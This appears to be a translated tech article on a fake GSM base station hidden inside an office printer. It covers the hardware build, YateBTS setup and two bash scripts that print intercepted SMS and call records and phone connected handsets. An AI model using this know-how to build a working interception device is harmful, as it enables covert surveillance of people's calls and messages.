Estación base GSM oculta en una impresora de oficina


Estación base GSM

Los servicios especiales y la inteligencia en diferentes países del mundo utilizan estaciones base falsas (trampas IMSI, que los estadounidenses llaman StingRay), que funcionan en modo pasivo o activo . En modo pasivo, la estación falsa simplemente analiza la señal de las estaciones base circundantes. Es mucho más interesante cuando el dispositivo se pone en modo activo. En este caso, la trampa IMSI obliga a los dispositivos celulares circundantes a conectarse a sí mismo, desconectándolos de la estación base del operador (MTS, VimpelCom, etc.). La tarea se lleva a cabo transmitiendo una señal más potente que las estaciones circundantes (para más detalles sobre la operación de estaciones base falsas, vea el artículo "El nuevo mundo valiente de simuladores de sitios celulares" (Facultad de Derecho de Albany: 11–12. Doi: 10.2139 / ssrn.2440982).

Las estaciones base falsas son utilizadas no solo por servicios especiales, sino también por otras personas. Por ejemplo, en la última temporada del Sr. Los piratas informáticos instalaron una femtocelda (una estación de comunicación celular en miniatura y de baja potencia) en la oficina del FBI, con la oportunidad de escuchar sus conversaciones. En los negocios, los competidores pueden usar dicho dispositivo para escuchar en silencio las conversaciones del otro lado. En Rusia, Natalya Kasperskaya sugiere instalar femtoceldas espías en las oficinas de empresas comerciales para que la gerencia pueda grabar con calma las conversaciones entre empleados y visitantes.


El dispositivo está conectado a una estación celular PRISM falsa : The Beacon Frame. Como parte de un proyecto de investigación, la estación envía una notificación sobre la conexión al teléfono del suscriptor. La infraestructura real de los servicios especiales funciona sin enviar notificaciones.

Aparatos similares son muy populares en la era moderna, porque muchas personas usan constantemente las comunicaciones celulares, transmitiendo información confidencial a través de estos canales, sin usar cifrado de extremo a extremo. Es muy conveniente identificar a las personas por sus números de teléfono.

Héroes de la serie Sr. Robotcoloque la femtocelda debajo de la mesa al lado del enrutador. Obviamente, de esta forma no puede funcionar durante mucho tiempo, porque tarde o temprano el dispositivo "extra" lo notará una mujer de la limpieza o un agente aleatorio que se doblegará. Además, la femtocelda tiene un rango muy pequeño, por lo que es poco probable que pueda interrumpir la señal de una estación base real para dispositivos de abonado en los pisos vecinos. Está garantizado para trabajar a menos que en la misma oficina, y luego qué suerte.

Para solucionar este inconveniente, una oficina necesita instalar una estación base más potente. ¿Pero cómo disfrazarlo? El ingeniero neozelandés Julian Oliver propuso una solución excelente. Diseñó la estación base disfrazada como una impresora de oficina HP .

En las calles, las estaciones base se disfrazan de objetos ambientales: árboles o linternas .


Estación celular mal disfrazada de palmera. Marrakech, Marruecos Una


estación celular disfrazada de linterna, por alguna razón, se coloca junto a una linterna real. Milton Keynes, Reino Unido

La impresora de oficina Hewlett-Packard Laserjet 1320 se ve tan natural como una farola. No despertará sospechas. Al menos mientras siga funcionando correctamente. Para fines de demostración, en el proyecto Oliver, la impresora está configurada para imprimir automáticamente metadatos sobre llamadas interceptadas y mensajes SMS, junto con el texto de estos mensajes.



El autor explicó en detalle cómo funciona la estación base falsa. El transceptor SDR programable BladeRF se colocó en la carcasa de la impresora (este maravilloso dispositivo se describió en Habré). En la foto, se fija en la parte superior derecha. El transceptor se conecta a la placa miniatura Raspberry Pi 3 (abajo a la izquierda), y todos los dispositivos electrónicos de piratas informáticos están conectados a la placa base de la impresora (la placa más grande de la foto).



Para la alimentación, se utiliza un adaptador USB para automóvil que convierte la impresora 21-22 V en 5 V, necesaria para el transceptor y la frambuesa. Tales adaptadores generalmente se insertan en el encendedor de cigarrillos de un automóvil (12-24 V) para alimentar dispositivos electrónicos portátiles.



El compartimento del cartucho está ligeramente modificado para adaptarse a dos antenas omnidireccionales (TX y AX) conectadas por un cable SMA al transceptor BladeRF.

El autor del trabajo dice que eligieron la impresora Hewlett-Packard Laserjet 1320 por varias razones. En primer lugar, tiene una apariencia sorprendentemente discreta: un diseño completamente sin rostro que no llama la atención. En segundo lugar, las cavidades internas en la carcasa son ideales para acomodar todos los componentes electrónicos y cables. No sale ninguna parte y no es visible desde el exterior, excepto por un cable de alimentación estándar. Cuando se conecta un adaptador USB a un conector estándar, la Hewlett-Packard Laserjet 1320 funciona normalmente como una impresora de oficina normal.

Se eligió Raspberry Pi 3 después de intentos fallidos de garantizar un funcionamiento estable de las estaciones base del controlador del programa YateBTSbajo Intel Edison, Beaglebone Black e incluso el I-MX6 Marsboard. A diferencia del antiguo OpenBTS, YateBTS es más exigente en el rendimiento del procesador.

El software falso de la estación base en la impresora se ejecuta sobre el código YateBTS de código abierto. Para fines de demostración, se han desarrollado varios scripts. Por ejemplo, uno de ellos filtra el registro, forma un documento PDF y lo envía a imprimir.

#!/bin/bash

readonly FH=/home/pi/yate.log
rm -f $FH
# Start the BTS, log to $FH and background
yate 2>&1 -l $FH &
sleep 1
echo "Starting up..."
last=" "

while true;
    do
        # Poll every 10 seconds
        sleep 10
        # Check log for new sniffed 'call route' entries and do some subbing
        cur=$(cat $FH | grep -A 16 "Sniffed\ 'call.route'" | sed -e "s/param\['//" \
        -e "s/'\]//" -e 's/thread.*//' -e 's/time\=[0-9].*//' \
        -e 's/\ data=(.*//' -e 's/\ retval=.*//' \
        -e 's/\ tmsi.*//' -e 's/ybts/Stealth\ Cell\ Tower/' \
        -e 's/Sniffed/Monitored\ =/' -e '/^\s*$/d' \
        -e 's/^\s*//' | tail -n 13)
        if [ "$cur" != "$last" ]; then
            if [ ${#cur} -gt 1 ]; then 
                echo "New SMS events detected"
                # Test to see if an IMSI is in the string. If not, look it up and put it in
                if [[ $cur != *imsi* ]]; then
                    caller=$(echo "$cur" | grep "caller" | awk '{ print $3 }' | sed "s/'//g" \
                    | tr -cd '[:print:]')
                    imsi=$(cat /usr/local/etc/yate/tmsidata.conf | grep "$caller" \
                    | cut -d '=' -f 1)
                    cur=$(echo "$cur" | sed -e "s/\ called\ .*/imsi\ =\ '$imsi'/" )
                fi
                # Make it all uppercase
                event=$(echo -e \\n"$cur" | tr 'a-z' 'A-Z')
                echo "printing file..."
                echo "$event" > printme
                # Format a postscript file with enscript
                enscript -r --header='SMS EVENT RECORD|%W|%* UTC' -i2cm --margins=10:10:30:10 \
                -o printme.ps -f Courier@15/12 printme
                # Convert to PDF
                ps2pdfwr printme.ps printme.pdf
                # Send it to the print queue for immediate processing
                lp -U pi -o a4 -q 100 -d hp_LaserJet_1320_2 printme.pdf 
            fi
            last=$cur
        fi
done

Otro script selecciona aleatoriamente uno de los números de teléfono que se conectaron a la estación base, lo llama y reproduce el clásico éxito de Stevie Wonder "Acabo de llamar para decir que te amo" .

#!/bin/bash

readonly HOST=127.0.0.1
readonly PORT=5038
readonly DATA=/usr/local/share/yate/sounds/stevie.au
readonly TMSI=/usr/local/etc/yate/tmsidata.conf
readonly CC=49 #MSISDN prefix, matching that of definition in yate conf.

callone () {
  # Play "I Just Called To Say I Love You" by Stevie Wonder, on pickup 
  echo "call wave/play/$DATA $mt" | netcat -i 1 -q 1 $HOST $PORT
  # Or, setup channel and route to IAX/SIP
  # echo "call 'iax/iax:$PORT@11.22.33.44/$PORT' $mt" | netcat -q 1 $HOST $PORT
}

callall() {
  for mt in ${UES[@]} #override $mt
    do
      echo "calling $mt"
      callone
  done
}

while true;
  do

    tmsilen=$(wc -l $TMSI | awk '{ print $1 }')
    ues=($(cat $TMSI | grep -A $tmsilen ues | sed 's/\[ues\]//' | cut -d ',' -f 3))
    if [ ! -z $ues ]; then
      ueslen=${#ues}
      RANGE=$ueslen
      select=$RANDOM
      let "select%=$RANGE"
      mt=${ues[$select]} 
      callone
    fi
    sleep 30
done

Binarios compilados para Raspberry Pi 3: yate_r-pi3_4.4.11-v7_debian-8.0.tar.gz .

¡Buena suerte con tus experimentos!

Source: https://habr.com/ru/post/es398893/


All Articles